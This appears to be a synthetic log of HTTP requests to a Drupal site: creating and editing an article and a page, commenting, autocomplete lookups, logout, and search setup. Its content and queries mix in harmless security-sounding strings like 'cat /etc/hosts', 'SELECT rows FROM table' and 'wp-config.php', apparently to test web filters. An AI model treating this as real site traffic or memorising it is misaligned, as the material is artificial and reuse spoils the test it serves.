{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys6Wog4PIiyr6c8nk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-GIwPSC0mk5OfJnBDDPrIGJXA59_fo-i-i4rc6hLJ2zo\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3, powershell, docker-compose.yml\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk--\r\n"}
{"method": "GET", "target": "/sites/default/files/styles/wide/public/2026-11/python3-diagram.png.avif?itok=zatrIDi8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=P1IJAagXdZ3uwIjUq2LBL0UYnJGTwcH1OA3KvfqFqg4"}
{"method": "POST", "target": "/node/add/page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/page", "Cookie: SESSexample=example-session-value"], "body": "title%5B0%5D%5Bvalue%5D=About+.htaccess+files&changed=1794214659&form_build_id=form-LaoMm59z_hyaytPZGp-adyYwJZGmbXRc7440YWGi8Do&form_token=H47HAbieKRgy6mosBoIwM8QZMBUCGpYRpFnf7HpzKDg&form_id=node_page_form&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=%3Cp%3EPlain+words+about+.htaccess+and+wp-config.php.%3C%2Fp%3E&body%5B0%5D%5Bformat%5D=basic_html&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=08%3A57%3A39&status%5Bvalue%5D=1&op=Save"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/node/2", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D2%3Achanged%3D1794214661%26langcode%3Den&tokens%5B%5D=9yhNCr_Hp4HSQvBSBYBWNCSG8ryM0kTuFsj7JELWqS0"}
{"method": "POST", "target": "/node/1/edit", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfBvrh6e5Bo80VnMG", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1/edit", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214658\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-YOV6ivVNUPhhYH59NVKyp3pCw7S5FRZ-MpqVk7Tekkw\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nRtIgLequzuSUKJ0eJYfweZtDlUU-P2Qm0dliQmbROBI\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_edit_form\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" width=\"1\" height=\"1\"> Edited with SELECT rows FROM table.</p>\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3 (1), powershell (2), docker-compose.yml (3)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG--\r\n"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY"}
{"method": "GET", "target": "/sites/default/files/styles/medium/public/2026-11/python3-diagram.png.avif?itok=ytQ2uihe", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-rUcrz45wKTlwScU2KPvW4Uh-elT8_0ep1yDKub-fR9o&form_token=cLurkaLTS5RG_R8Vt9iKrHp5kETeTXRUPCXJRxJLz48&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+question&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+ls+-la+work+under+powershell%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-vhMpEh9d_WRMwXQqxQWWiugdMAZ9cRfVnudOBsxwQNo&form_token=CXyUg6iH9UxK0n9bFsPllZanXhtbFSoc6km1jtSxrh4&form_id=user_logout_confirm&op=Log+out"}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=node_search&op=Add+search+page&form_build_id=form-h9TNUOku6qlPzCQIfLOM6VobwiD7LjgYKi4l8e6-n8I&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
{"method": "GET", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/node_search", "Cookie: SESSexample=example-session-value"], "body": "label=ContentContent&id=content&path=node&form_build_id=form-WUJFS4YPNPKnEeJoXCUT_dOzqiNC1753LO8pTBEuVRw&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
